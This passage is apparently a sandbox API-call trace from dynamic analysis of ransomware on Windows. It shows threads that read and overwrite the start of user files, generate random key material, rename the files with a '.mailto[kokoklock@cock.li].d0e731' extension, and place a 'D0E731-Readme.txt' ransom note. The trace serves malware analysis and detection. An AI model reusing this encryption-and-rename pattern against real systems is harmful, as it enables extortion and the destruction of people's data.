0x32fa865 [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x1640f972 [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x75163027 [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x58f3d25a [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x1577ae1c [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0xff81ad9f [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0xef522c7c [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x73c2164a [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x3d123c17 [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x2e5082b5 [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0xe01455b5 [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x337c4481 [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0xdf22657e [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x90ede0e [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0xdca83eab [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x3c41616d [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0xf7f0da4d [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x9b85a9ca [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0xd4c834f1 [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0xc9a4b7b8 [0070.086] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.086] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x130bfd6c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x130bfd6c*=0x4096, lpOverlapped=0x0) returned 1 [0070.086] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0070.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0070.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0070.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1d0 [0070.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1d0) returned 1 [0070.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0070.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0070.087] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x130bfd6c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x130bfd6c*=0x4096, lpOverlapped=0x0) returned 1 [0070.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.087] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x118b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.087] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x130bfda4, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x130bfda4*=0x20, lpOverlapped=0x0) returned 1 [0070.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0070.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.087] WriteFile (in: hFile=0x774, lpBuffer=0x342c1a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x130bfdb8, lpOverlapped=0x0 | out: lpBuffer=0x342c1a8*, lpNumberOfBytesWritten=0x130bfdb8*=0x8, lpOverlapped=0x0) returned 1 [0070.087] WriteFile (in: hFile=0x774, lpBuffer=0x130bfdd0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x130bfdb8, lpOverlapped=0x0 | out: lpBuffer=0x130bfdd0*, lpNumberOfBytesWritten=0x130bfdb8*=0x4, lpOverlapped=0x0) returned 1 [0070.087] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x130bfdb8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x130bfdb8*=0x4, lpOverlapped=0x0) returned 1 [0070.087] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x130bfdb8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x130bfdb8*=0x6c, lpOverlapped=0x0) returned 1 [0070.087] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x130bfdb8, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x130bfdb8*=0x20, lpOverlapped=0x0) returned 1 [0070.087] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x130bfdb8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x130bfdb8*=0x4, lpOverlapped=0x0) returned 1 [0070.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0070.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bed8) returned 1 [0070.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0070.088] CloseHandle (hObject=0x774) returned 1 [0070.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c0c8 [0070.924] wcscpy (in: _Dest=0x347c0c8, _Source="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4" [0070.924] wcscat (in: _Dest=0x347c0c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731" [0070.924] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\iluu-ub.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\iluu-ub.mp4.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.965] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c0c8) returned 1 [0070.965] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4", dwFileAttributes=0x20) returned 0 [0070.965] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.965] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.965] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.965] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.966] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.966] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34817a8) returned 1 [0070.966] RtlExitUserThread (Status=0x1) Thread: id = 455 os_tid = 0x824 [0070.091] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\iuhd0ad9vyjqwf.mp3")) returned 0x20 [0070.091] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3", dwFileAttributes=0x20) returned 1 [0070.091] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\iuhd0ad9vyjqwf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0070.091] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x1313fba0 | out: lpFileSize=0x1313fba0*=71066) returned 1 [0070.091] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x11596, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.092] ReadFile (in: hFile=0x774, lpBuffer=0x1313fb74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1313fb70, lpOverlapped=0x0 | out: lpBuffer=0x1313fb74*, lpNumberOfBytesRead=0x1313fb70*=0x4, lpOverlapped=0x0) returned 1 [0070.092] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1a8 [0070.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1f8 [0070.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1d0 [0070.092] NtQuerySystemTime (in: CurrentTime=0x1313fb4c | out: CurrentTime=0x1313fb4c*=132121176279785351) returned 0x0 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xa2228d8c [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xcca52931 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x764f861a [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xf31590ca [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x2fb704bb [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x94603023 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x2ee5bf60 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xeb4a83c1 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xbc6567b3 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xb65442d9 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x722e62c1 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x9336503a [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xe0872d7 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xf053d8ea [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x18e319ae [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x809d64cd [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x2c8e209d [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x7bf094b5 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xfe7684a7 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x3f2b10cb [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xfe612469 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x7363593b [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xfe6ed3a [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xb9d02a07 [0070.092] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xa1ba8d2c [0070.093] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x6f43939e [0070.093] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0xbd5416c1 [0070.093] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x8e52f2a3 [0070.093] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x12099f97 [0070.093] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x59e46c63 [0070.093] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x9f680bf6 [0070.093] RtlRandom (in: Seed=0x1313fb58 | out: Seed=0x1313fb58) returned 0x73c3c1cf [0070.104] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.104] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1313fb24, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1313fb24*=0x4096, lpOverlapped=0x0) returned 1 [0070.104] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.104] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0070.104] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0070.104] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1a8 [0070.104] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0070.104] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1a8 [0070.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.105] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0070.105] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0070.105] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0070.105] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1313fb24, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1313fb24*=0x4096, lpOverlapped=0x0) returned 1 [0070.105] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.105] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x1159a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.105] WriteFile (in: hFile=0x774, lpBuffer=0x342c1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1313fb5c, lpOverlapped=0x0 | out: lpBuffer=0x342c1a8*, lpNumberOfBytesWritten=0x1313fb5c*=0x20, lpOverlapped=0x0) returned 1 [0070.105] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0070.105] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.105] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1313fb70, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x1313fb70*=0x8, lpOverlapped=0x0) returned 1 [0070.105] WriteFile (in: hFile=0x774, lpBuffer=0x1313fb88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1313fb70, lpOverlapped=0x0 | out: lpBuffer=0x1313fb88*, lpNumberOfBytesWritten=0x1313fb70*=0x4, lpOverlapped=0x0) returned 1 [0070.105] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1313fb70, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1313fb70*=0x4, lpOverlapped=0x0) returned 1 [0070.105] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1313fb70, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1313fb70*=0x6c, lpOverlapped=0x0) returned 1 [0070.106] WriteFile (in: hFile=0x774, lpBuffer=0x342c1f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1313fb70, lpOverlapped=0x0 | out: lpBuffer=0x342c1f8*, lpNumberOfBytesWritten=0x1313fb70*=0x20, lpOverlapped=0x0) returned 1 [0070.106] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1313fb70, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1313fb70*=0x4, lpOverlapped=0x0) returned 1 [0070.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0070.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bed8) returned 1 [0070.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0070.106] CloseHandle (hObject=0x774) returned 1 [0070.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eaf50 [0070.924] wcscpy (in: _Dest=0x33eaf50, _Source="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3" [0070.924] wcscat (in: _Dest=0x33eaf50, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731" [0070.924] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\iuhd0ad9vyjqwf.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\iuhd0ad9vyjqwf.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.964] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaf50) returned 1 [0070.964] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3", dwFileAttributes=0x20) returned 0 [0070.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.964] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.964] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.964] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481bb8) returned 1 [0070.964] RtlExitUserThread (Status=0x1) Thread: id = 456 os_tid = 0x8e8 [0070.110] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\njrctenbt-cvxgu.rtf")) returned 0x20 [0070.110] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf", dwFileAttributes=0x20) returned 1 [0070.110] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\njrctenbt-cvxgu.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0070.110] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x131bfc14 | out: lpFileSize=0x131bfc14*=75398) returned 1 [0070.110] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x12682, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.110] ReadFile (in: hFile=0x774, lpBuffer=0x131bfbe8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x131bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x131bfbe8*, lpNumberOfBytesRead=0x131bfbe4*=0x4, lpOverlapped=0x0) returned 1 [0070.111] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0070.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bed8 [0070.111] NtQuerySystemTime (in: CurrentTime=0x131bfbc0 | out: CurrentTime=0x131bfbc0*=132121176280099521) returned 0x0 [0070.111] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x11936aeb [0070.111] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0xd86257e1 [0070.111] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x74f03d0f [0070.111] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x2f56bd23 [0070.111] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x63ec039c [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x1001670f [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x36f6ac75 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x59632938 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x4b2a9c78 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0xa9455152 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0xe44ba42e [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0xefab64c1 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x15020545 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x87ce35a0 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x29fec74 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x71d90a06 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0xec087183 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x8686b80c [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x794f185a [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x6bd8befa [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x7ac66252 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x603a6a48 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0xc7a6d471 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x9a5bee1f [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x1f9152a9 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0xc9a3812c [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x73f8557b [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0xbf774ebb [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0xb369c3d9 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0x63bdbfc4 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0xaca5f83 [0070.112] RtlRandom (in: Seed=0x131bfbcc | out: Seed=0x131bfbcc) returned 0xeaea2390 [0070.123] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.123] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x131bfb98, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x131bfb98*=0x4096, lpOverlapped=0x0) returned 1 [0070.123] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.123] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0070.123] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0070.124] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 